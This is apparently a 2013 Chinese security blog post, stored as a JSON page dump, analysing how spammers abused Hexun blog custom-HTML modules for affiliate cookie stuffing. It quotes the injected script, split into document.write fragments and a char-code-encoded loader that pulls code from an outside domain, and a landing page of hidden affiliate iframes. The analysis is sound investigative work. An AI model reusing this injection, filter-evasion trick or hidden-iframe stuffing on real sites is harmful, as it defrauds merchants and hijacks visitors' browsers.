[{"data":1,"prerenderedAt":112},["ShallowReactive",2],{"\u002F2013-11-19-%E5%92%8C%E8%AE%AF%E5%8D%9A%E5%AE%A2xss%E6%BC%8F%E6%B4%9E%E8%A2%AB%E7%94%A8%E4%BA%8Ecs":3},{"id":4,"title":5,"body":6,"date":89,"description":12,"extension":90,"meta":91,"navigation":94,"path":106,"seo":107,"stem":108,"tags":109,"__hash__":111},"blogs\u002F_legacy\u002F2013\u002F2013-11-19-%e5%92%8c%e8%ae%af%e5%8d%9a%e5%ae%a2xss%e6%bc%8f%e6%b4%9e%e8%a2%ab%e7%94%a8%e4%ba%8ecs.md","和讯博客XSS漏洞被用于CS",{"type":7,"value":8,"toc":85},"minimark",[9,13,16,19,30,40,46,49,52,58,61,67,70,73,76,82],[10,11,12],"p",{},"今天逛和讯博客看文章，顺便收集点人气。没想到碰到个在和讯利用xss漏洞做cs的。",[10,14,15],{},"在和讯主要的操作方式是注册好账号，添加好相关代码然后不停的去各处顶贴，目测是用程序自动顶的。因为能看到的文章里面基本都能看到这样的顶贴记录，而且还是多账号的。",[10,17,18],{},"跳转的过程大致是这样的：",[20,21,26],"pre",{"className":22,"code":24,"language":25},[23],"language-text","http:\u002F\u002Fhexun.com\u002Fxxxxxxxx\nhttp:\u002F\u002Fhexun.com\u002Fxxxxxxxx\u002Fdefault.html\nhttp:\u002F\u002Finsure.dbxdb.com\u002Fe.php\nhttp:\u002F\u002Ffarms.tw\u002Fshop\u002Ftemplates\u002Fad1.html\n","text",[27,28,24],"code",{"__ignoreMap":29},"",[10,31,32,33],{},"xss的漏洞来源应该是博客文章，和讯的博客文章发布的时候代码检测并不十分严格。代码执行过程中访问了",[34,35,39],"a",{"href":36,"rel":37},"http:\u002F\u002Finsure.dbxdb.com\u002Fejs.php%EF%BC%8C%E8%BE%93%E5%87%BA%E5%86%85%E5%AE%B9%E6%98%AF",[38],"nofollow","http:\u002F\u002Finsure.dbxdb.com\u002Fejs.php，输出内容是",[20,41,44],{"className":42,"code":43,"language":25},[23],"location.href=\"http:\u002F\u002Finsure.dbxdb.com\u002Fe.php\";\n",[27,45,43],{"__ignoreMap":29},[10,47,48],{},"估计是用这样的方法绕过了代码检测。",[10,50,51],{},"仔细的看了下，不是博客文章，而是在自定义html里面。关键的部分是这样的：",[20,53,56],{"className":54,"code":55,"language":25},[23]," \u003Cdiv id=\"SelfHtmlDivItem\" class=\"side_content\">   \n        \u003Cp id=\"SelfHtmlImport0\" align=left style=\"display:none\">添加自定义HTML内容，\u003Ca href='http:\u002F\u002Fi.hexun.com\u002Fmanage\u002Fadmin_moduleset.aspx?link=3'>点击添加\u003C\u002Fa>\u003C\u002Fp>\n        \u003Cp id=\"SelfHtmlImport1\" align=left style=\"display:none\">请等待审核，\u003Ca href='http:\u002F\u002Fi.hexun.com\u002Fmanage\u002Fadmin_moduleset.aspx?link=3'>修改请点击这里\u003C\u002Fa>\u003C\u002Fp>\n        \u003Cscript>\n    document.write('\u003Cscri');\n    document.write('pt src');\n    document.write('=\"http:\u002F\u002Finsure.dbxd');\n    document.write('b.com\u002Fejs.php\">\u003C\\\u002Fscript>');\n\u003C\u002Fscript>\n111,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,111,46,115,114,99,61,34,104,116,116,112,58,47,47,105,110,115,117,114,101,46,100,98,120,100,98,46,99,111,109,47,101,106,115,46,112,104,112,34,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,104,101,97,100,34,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,111,41,59),20xdb.com\u002Fejs.ph111,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,111,46,115,114,99,61,34,104,116,116,112,58,47,47,105,110,115,117,114,101,46,100,98,120,100,98,46,99,111,109,47,101,106,115,46,112,104,112,34,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,104,101,97,100,34,41,46,105,116,101,109,40,48,41,46,97,112,112,101,110,100,67,104,105,108,100,40,111,41,59),20p\n    \u003C\u002Fdiv>\n",[27,57,55],{"__ignoreMap":29},[10,59,60],{},"最终跳转的页面源码如下：",[20,62,65],{"className":63,"code":64,"language":25},[23],"\u003Cimg src=\"http:\u002F\u002Fg.search1.alicdn.com\u002Fimg\u002Fbao\u002Fuploaded\u002Fi4\u002Fi4\u002F17493037705800171\u002FT1uqqOXv0gXXXXXXXX_!!0-item_pic.jpg_170x170.jpg\" \u002F>\n\n\u003Cdiv style=\"display:none;\">\n\u003CEMBED SRC=\"ad.mp3\" AUTOSTART=TRUE>\n\n\u003Cscript src=\"http:\u002F\u002Fs96.cnzz.com\u002Fstat.php?id=1889573&web_id=1889573\" language=\"JavaScript\">\u003C\u002Fscript>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002Fb?_encoding=UTF8&camp=536&creative=3200&linkCode=ur2&node=49932071&tag=tie3net-23\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fs.click.taobao.com\u002Ft?e=zGU34CA7K%2BPkqB07S4%2FK0CFcRfH0GoT805sipKaf%2FVLG1VK%2F3p8nxHfYXTB%2FXjAqwOU7mQs5RPdhLITkr2Okp%2BNMyKT82%2Bo3M2YtuXaO8tDjzw%3D%3D\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.com\u002Fmn\u002Flanding\u002F7593381011\u002F?_encoding=UTF8&camp=1789&creative=390957&linkCode=ur2&tag=30-10-20\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002F?tag=eqifarebate-23&ascsubtag=150|1|4435530\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.cn\u002Fb\u002F?_encoding=UTF8&camp=536&creative=3132&linkCode=ur2&node=339373071&tag=jyn-23\">\u003C\u002Fiframe>\n\n\u003Ciframe width=0 height=0 frameborder=0 src=\"http:\u002F\u002Fwww.amazon.com\u002Fb\u002F?t=hanx01-20&camp=1789&creative=390957&linkCode=ur2&node=7795318011&pf_rd_i=B008626CSS&pf_rd_m=ATVPDKIKX0DER&pf_rd_p=1657478282&pf_rd_r=12P4PZPS5MC6TEGDCBX6&pf_rd_s=hero-quick-promo&pf_rd_t=201&tag=hanx01-20\">\u003C\u002Fiframe>\n\n\u003Ciframe src=\"http:\u002F\u002Fwww.qjhm.net\">\u003C\u002Fiframe>\n\n\u003Cscript>\n\u002F*\nsetTimeout('location.href=\"http:\u002F\u002Fwww.amazon.cn\u002Fb?_encoding=UTF8&camp=536&creative=3200&linkCode=ur2&node=49932071&tag=tie3net-23\";',5000);\n*\u002F\n\u003C\u002Fscript>\n\n\u003C\u002Fdiv>\n",[27,66,64],{"__ignoreMap":29},[10,68,69],{},"网页是静态的，看来没有进行复杂的多账号分割。同时也没有对Refer来源也进行保护，由于亚马逊有付款延迟，这样的手法基本靠运气。同时有往天猫去的cs和刷另外一个网页的展示。应该是想要尽可能的利用流量吧。",[10,71,72],{},"途中经过的网站insure.dbxdb.com本身也有在做亚马逊的cs，可见是和操作者有关的站点。另外一个在刷展示的站似乎有做备案，应该不至于是操作者的站。落点网站是岛民的站点，不知道是被黑的还是本人的站点，和前一个不一样有做whois保护，所以无法证实。不过目录的结构有点奇怪，不太可能不被站长发现，估计也是操作者的站。",[10,74,75],{},"过多的去探寻别人的个人信息是不礼貌的，所以我也就没有详细看了。",[10,77,78],{},[79,80,81],"del",{},"PS：这篇文章将会在漏洞被修补之后再取消密码保护，以免有断人财路之嫌。密码是我qq昵称:D",[10,83,84],{},"漏洞已经以某种形式被遏制住了。",{"title":29,"searchDepth":86,"depth":87,"links":88},2,3,[],"2013-11-19","md",{"layout":92,"status":93,"published":94,"author":95,"author_login":96,"author_email":97,"author_url":98,"wordpress_id":99,"wordpress_url":100,"date_gmt":101,"excerpt":102},"post","publish",true,{"display_name":96,"login":96,"email":97,"url":98},"chaoshikari","chaoshikari@gmail.com","\u002F",802,"\u002F\u002F?p=802","2013-11-19 05:16:18 +0000",{"type":7,"value":103},[104],[10,105,12],{},"\u002F2013-11-19-和讯博客xss漏洞被用于cs",{"title":5,"description":12},"_legacy\u002F2013\u002F2013-11-19-%e5%92%8c%e8%ae%af%e5%8d%9a%e5%ae%a2xss%e6%bc%8f%e6%b4%9e%e8%a2%ab%e7%94%a8%e4%ba%8ecs",[110],"hack","ktNUdUq3zRd8MkW9tKOWwAAqzxTT1dzrraYGJ-R5qnA",1788763183669]